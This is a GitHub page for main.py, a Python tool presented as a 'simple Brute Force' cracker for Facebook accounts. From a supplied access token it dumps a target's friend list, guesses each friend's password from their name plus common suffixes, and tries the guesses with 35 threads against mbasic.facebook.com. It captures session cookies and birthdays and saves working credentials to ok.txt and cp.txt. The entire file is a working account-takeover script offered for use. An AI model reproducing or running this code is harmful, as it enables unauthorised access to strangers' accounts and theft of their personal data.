-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
116 lines (116 loc) · 8.53 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python3
#-*-coding:utf-8-*-
# Made With love by uj
import requests,bs4,sys,os,random,time,re,json,concurrent
from concurrent.futures import ThreadPoolExecutor as ThreadPool
ok = []
cp = []
ttl = []
bulan_ttl = {"01": "January", "02": "February", "03": "March", "04": "April", "05": "May", "06": "June", "07": "July", "08": "August", "09": "September", "10": "Octomber", "11": "November", "12": "Desember"}
def logo():
print('\n _______ ____ ___ \n / __/ _ )/ __/___|_ | ┌────────────────────────┐\n _\ \/ _ / _//___/ __/ │ • Coded By U.J • │\n/___/____/_/ /____/ │ Unic Torby │\n simple Brute Force └────────────────────────┘\n')
def login(__cici__):
os.system('rm -rf token.txt');os.system('clear');logo();token = input('[•] Enter Token :\n\n')
try:x = requests.get("https://graph.facebook.com/me?access_token=" + token);y = json.loads(x.text);n = y['name'];v = open("token.txt", "w");v.write(token);v.close();exit(__cici__)
except (KeyError,IOError):print('\n[!] Token Invalid');os.system('rm -rf token.txt');login(__cici__)
except requests.exceptions.ConnectionError:print('\n[!] Connection Problem');os.system('rm -rf token.txt');login(__cici__)
def menu(__cici__):
os.system('clear');logo()
try:token = open("token.txt","r").read();x = requests.get("https://graph.facebook.com/me?access_token=" + token);y = json.loads(x.text);n = y['name'];i = y['id']
except (KeyError,IOError):print('\n[!] Token Invalid');os.system('rm -rf token.txt');login(__cici__)
except requests.exceptions.ConnectionError:print('\n[!] Connection Problem');os.system('rm -rf token.txt');login(__cici__)
print('[•] Nama : %s'%(n));print('[•] ID : %s'%(i));crack_publik(__cici__)
def crack_publik(__cici__):
try:token = open("token.txt","r").read()
except (KeyError,IOError):print('\n[!] Token Invalid');os.system('rm -rf token.txt');login(__cici__)
except requests.exceptions.ConnectionError:print('\n[!] Connection Problem');os.system('rm -rf token.txt');login(__cici__)
print('\n[•] Ketik \'me\' To Dump From Friends');i = input("[•] ID Publik : ")
try:
try:o = requests.get("https://graph.facebook.com/" + i + "?access_token=" + token);b = json.loads(o.text);print ('[•] Nama : %s'%(b['name']))
except (KeyError,IOError):print('\n[!] ID Not Found');menu(__cici__)
r = requests.get("https://graph.facebook.com/%s/friends?limit=5000&access_token=%s"%(i,token));id = [];z = json.loads(r.text);l = (b["first_name"]+".json").replace(" ","_");d = open(l,"w")
for a in z["data"]:
id.append(a["id"]+"•"+a["name"]);d.write(a["id"]+"•"+a["name"]+"\n")
d.close();print('[•] Total ID : %s'%(len(id)))
return crack(l)
except Exception as e:exit('\n[!] Error : %s'%(e))
def password(_cici_):
_dapunta_=[];ps = open('pass.txt','r').read();pp = open('passangka.txt','r').read()
for i in _cici_.split(" "):
i=i.lower()
if len(i)<3:continue
elif len(i)==3 or len(i)==4 or len(i)==5:_dapunta_.append(i+"123");_dapunta_.append(i+"12345")
else:_dapunta_.append(i);_dapunta_.append(i+"123");_dapunta_.append(i+"12345")
if pp in ['',' ',' ']:pass
else:
for i in _cici_.split(" "):
i=i.lower()
for x in pp.split(','):_dapunta_.append(i+x)
if ps in ['',' ',' ']:pass
else:
for z in ps.split(','):_dapunta_.append(z)
_dapunta_.append(_cici_.lower())
return _dapunta_
def cek_recode():
try :
__dapunta__ = open('__dapunta__.txt','r').read()
if '__dapunta__cici__forever__' in __dapunta__ : return menu(__dapunta__)
else : exit('\nGet rid of Errors Do you want to recode right?')
except Exception as cok: exit(cok)
def tambah_pass():
print('\n[•] Example: pakaya,password,123456,fuck');cuy = input('[•] Enter Manual Additional Pass [1 Word] : ');gh = open('pass.txt','w');gh.write(cuy);gh.close
def tambah_pass_angka():
print('[•] Example: 321,786,gaming,handsome');coy = input('[•] Enter Additional Pass Behind Name : ');xy = open('passangka.txt','w');xy.write(coy);xy.close
def logger(em,pas,hosts):
ua = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]';r = requests.Session();r.headers.update({"Host":"mbasic.facebook.com","cache-control":"max-age=0","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"});p = r.get("https://mbasic.facebook.com/");b = bs4.BeautifulSoup(p.text,"html.parser");meta="".join(bs4.re.findall('dtsg":\{"token":"(.*?)"',p.text));data={}
for i in b("input"):
if i.get("value") is None:
if i.get("name")=="email":data.update({"email":em})
elif i.get("name")=="pass":data.update({"pass":pas})
else:data.update({i.get("name"):""})
else:data.update({i.get("name"):i.get("value")})
data.update({"fb_dtsg":meta,"m_sess":"","__user":"0","__req":"d","__csr":"","__a":"","__dyn":"","encpass":""});r.headers.update({"referer":"https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8"});po = r.post("https://mbasic.facebook.com/login/device-based/login/async/?refsrc=https%3A%2F%2Fm.facebook.com%2Flogin%2F%3Fref%3Ddbl&lwv=100",data=data).text
if "c_user" in list(r.cookies.get_dict().keys()):return {"status":"success","email":em,"pass":pas,"cookies":r.cookies.get_dict()}
elif "checkpoint" in list(r.cookies.get_dict().keys()):return {"status":"cp","email":em,"pass":pas,"cookies":r.cookies.get_dict()}
else:return {"status":"error","email":em,"pass":pas}
def append():
__dapunta__=open('__dapunta__.txt','w');__dapunta__.write('__dapunta__cici__forever__');__dapunta__.close
def koki(cookies):
result=[]
for i in enumerate(cookies.keys()):
if i[0]==len(cookies.keys())-1:result.append(i[1]+"="+cookies[i[1]])
else:result.append(i[1]+"="+cookies[i[1]]+"; ")
return "".join(result)
class crack:
def __init__(self,isifile):
self.ada=[];self.cp=[];self.ko=0
while True:
try:
while True:
try:self.apk=isifile;self.fs=open(self.apk).read().splitlines();break
except Exception as e:print("\n[!] Error : %s"%(e));continue
self.fl=[]
os.system('rm -rf pass.txt');os.system('rm -rf passangka.txt');tambah_pass();tambah_pass_angka()
for i in self.fs:
try:self.fl.append({"id":i.split("•")[0],"pw":password(i.split("•")[1])})
except:continue
except Exception as e:print("\n[!] Error : %s"%(e))
started();ThreadPool(35).map(self.mbasic,self.fl);os.remove(self.apk);exit()
def mbasic(self,fl):
try:
for i in fl.get("pw"):
log = logger(fl.get("id"),i,"https://mbasic.facebook.com")
if log.get("status")=="cp":
try:ke = requests.get("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + open("token.txt","r").read());tt = json.loads(ke.text);ttl = tt["birthday"];m,d,y = ttl.split("/");m = bulan_ttl[m];print("\r[CP] %s • %s • %s %s %s "%(fl.get("id"),i,d,m,y));self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y));open("cp.txt","a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y));break
except(KeyError, IOError):m = " ";d = " ";y = " "
except:pass
print("\r[CP] %s • %s "%(fl.get("id"),i));self.cp.append("%s•%s"%(fl.get("id"),i));open("cp.txt","a+").write("%s•%s\n"%(fl.get("id"),i));break
elif log.get("status")=="success":print("\r[OK] %s • %s • %s "%(fl.get("id"),i,koki(log.get("cookies"))));self.ada.append("%s•%s"%(fl.get("id"),i));open("ok.txt","a+").write("%s•%s\n"%(fl.get("id"),i));break
else:continue
self.ko+=1
print("\r[Crack][%s/%s][OK:%s][CP:%s]"%(self.ko,len(self.fl),len(self.ada),len(self.cp)), end=' ');sys.stdout.flush()
except:
self.mbasic(fl)
def started():
print('\n[•] Cracks In Progress...');print('[•] Account [OK] Saved To ok.txt');print('[•] Account [CP] Saved To cp.txt\n')
if __name__=='__main__':os.system('git pull');append();cek_recode()